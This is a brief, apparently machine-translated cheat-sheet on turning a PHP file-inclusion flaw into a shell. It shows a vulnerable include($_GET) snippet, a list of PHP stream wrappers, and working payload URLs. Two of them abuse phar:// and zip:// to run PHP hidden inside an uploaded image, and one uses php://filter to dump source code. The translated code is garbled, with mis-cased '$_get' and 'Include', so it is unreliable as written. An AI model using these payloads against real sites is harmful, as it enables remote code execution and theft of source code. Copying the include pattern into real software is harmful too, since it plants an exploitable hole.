"Collect" PHP alternative shell

1. $f = $_get[' F '];
2. Include_once (' sys/config.php ');
3. Include ($f);

PHP Pseudo-Protocol:

file://-accessing the local file system
http://-access to HTTP (s) URLs
ftp://-access to FTP (s) URLs
php://-access to individual input/output streams (I/O streams)
zlib://-Compressed Stream
data://-data (RFC 2397)
glob://-Find matching file path mode
phar://-php Archive
Ssh2://-secure Shell 2
Rar://-rar
ogg://-Audio Stream
expect://-Processing of interactive streams

Using a zip or Phar Pseudo-protocol to read files in a compressed package
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php

Read Page source code
/about.php?f=php://filter/convert.base64-encode/resource=index.php

"Collect" PHP alternative shell